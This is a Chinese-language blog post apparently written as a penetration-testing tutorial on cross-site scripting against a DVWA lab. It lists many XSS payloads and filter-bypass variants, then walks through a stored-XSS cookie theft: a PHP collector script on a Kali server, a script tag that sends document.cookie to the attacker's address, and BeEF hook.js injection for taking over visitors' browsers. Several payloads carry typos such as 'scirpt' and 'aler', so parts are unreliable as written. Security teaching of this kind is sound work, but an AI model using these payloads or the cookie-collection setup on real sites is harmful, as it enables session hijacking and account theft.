XSS简述

XSS:cross site script简述

XSS 指恶意攻击者利用网站提供的接口,没有对用户提交的数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去,别的用户访问都会执行被嵌入的代码。XSS漏洞存在服务器中,由被攻击者访问服务器触发,在客户端浏览器中执行恶意代码

XSS危害

  1. 盗取各种用户账号

  2. 窃取用户cookie资料,冒充用户身份进入网站

  3. 劫持用户会话,执行任意操作

  4. 刷流量,执行弹窗广告

  5. 传播蠕虫病毒

XSS 漏洞的验证

  • 在网页上类似搜索框,留言板的地方输入一下代码,被当做字符串输出到HTML页面中,浏览器会根据<script>标签识别为JS代码,并且会执行它,也就是说可以执行其他任意的JS代码,以此就 就验证了XSS漏洞的存在

    <script>alert(/xss)</script>
<script>confirm(/xss)</script>
<script>prompt(/xss)</script>

XSS的分类

  • 反射型XSS:非持久性跨站脚本攻击,

  • 存储型XSS:持久性跨站脚本攻击,xss代码不是在某个参数中,而是存在于web服务器的数据库或文件中

    • 当页面被用户打开的时候执行,通常发生在留言本等地方

  • DOM型XSS:基于DOM的XSS,攻击的payload是由于修改受害者的浏览器页面的DOM树而执行的

构造XSS脚本

构造XSS脚本分为三种
利用<>构造html/js标签
<script>alert(xss)</script>
伪协议,javascript:
<a href="javascript:alert(xss)">click me</a>
<img src="javascript:alert(xss)">
产生自己的事件
windows事件
form事件
keyboard事件
mouse事件
medie事件
<img src="./joke.jpg" onmouseover='aler(xss)'>,引入一个图片,当鼠标悬停在图片上的时候出发XSS代码

 

弹窗警告:一旦次脚本能执行,也就意味着后端服务器没有对特殊字符做过滤,就证明存在XSS漏洞
<script>alert(/xss)</script>
<script>alert(document.cookie)</scirpt>

页面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>

页面重定向
<script>windows.location="http://www.baidu.com"</scirpt>
<script>location.href="http://www.baidu.com"</scipt>

弹窗警告并重定向
<script>alert("okkoko");location.href="http://www.baidu.com"</script>
<script>alert('xss');location.href="http://1.1.1.1/dvwa/robots.txt"</script>

访问恶意
<script src="http://www.dvwa.com/xss.js"></scipt>
<script src="http://BeEf_ip:3000"/hook.js></script>

巧用图片标签
<img src="#" onerror=alert('xss')>
<img src="javascript:alert('xss');">
<img src="http://BeEF_IP:3000/hook.js"></img>

javasript伪协议
<a href="javascript:alert(/xss)">touch me!</a>
<img src="javascript:alert(/xss/)">
   

XSS的变形,绕过

对构造的XSS代码进行各种变形,用来绕过XSS过滤器的检测
大小写转换
<img sRc="#" onerror="alert(/xss/)" />
<a hREf="javascript:alert(/xss/)">click me </a>

引号的使用
<Img sRc="#" onerror="alert(/xss/)" />
<Img sRc="#" onerror='alert(/xss/)' />
<Img sRc="#" onerror=alert(/xss/) />
<Img/sRc="#" onerror="alert(/xss/)" />
   
   
用  /   代替空格

在代码的某些位置添加 回车/tab 符,来绕过关键字检测
<a href="j
a v a script:alert(xss)">click me</a>

对标签的属性进行转码
字幕            ascii码            十进制编码             十六进制编码
a               97                  &#97                   &#x61
e               101                 &#101                 &#x65
<a href="j&#x61;vascript:al&#x65;rt(/xss/)">click me</a>
可以将一下字符插入到任意位置
Tab                     &#9
换行                     &#10
回车                     &#13
可以将一下字符插入到头部位置
S0H               &#01
STX               &#02
       
拆分跨站
<script>z='alert'</script>
<script>z=z+'(/xss)'</script>
<script>eval(z)</script>

双写绕过
<script></scr<script>ipt>

 

获取cookie的存储型XSS攻击,手动型


使用kali搭建收集cookie的服务器
开启kali的apache2服务:systemctl start apache2
创建一个php脚本文件,让被攻击者访问被攻击页面时,自动访问这个文件,向攻击者发送cookie
vim /var/www/html/cookie_rec.php
<?php
$cookie = $_GET['cookie'];
           $log = fopen('cookie.txt','a');
fwrite($log,$cookie .'\n');
fclose($log);
?>
给目录授权,可以写入cookie文件,chown -R www-data.www-data /var/www/
渗透机构造一段xss代码,植入到web服务器(dvwa服务器)
<script>window.open('http://192.168.52.146/cookie_rec.php?cookie='+document.cookie)</script>
等待被攻击者访问web服务器,触发XSS代码,就会自动发送cookie到kali黑客服务器
cookie的利用

 

BeEF

通过XSS漏洞配合JS脚本和Metasploit进行渗透

kali开启apache2:root@kali:~# systemctl start apache2
启动beef:root@kali:~# cd /usr/share/beef-xss
root@kali:~# ./beef
在浏览器上登录beef的管理页面,如果有人被攻击,在beef的管理页面就可以管理了
http:192.168.52.146:3000/ui/panel user:beef,passwd:123456
构建一段xss代码注入到web服务器中
<script src="http://192.168.52.146:3000/hook.js"></script>
等待肉鸡访问,被注入xss代码的页面,只要有肉鸡访问了该页面,hacker就可以获取该肉鸡的信息,但是只要肉鸡的页面关系,hack就会与肉鸡断开连接

 

posted @ 2020-07-07 22:30  muchen  阅读(778)  评论(0编辑  收藏  举报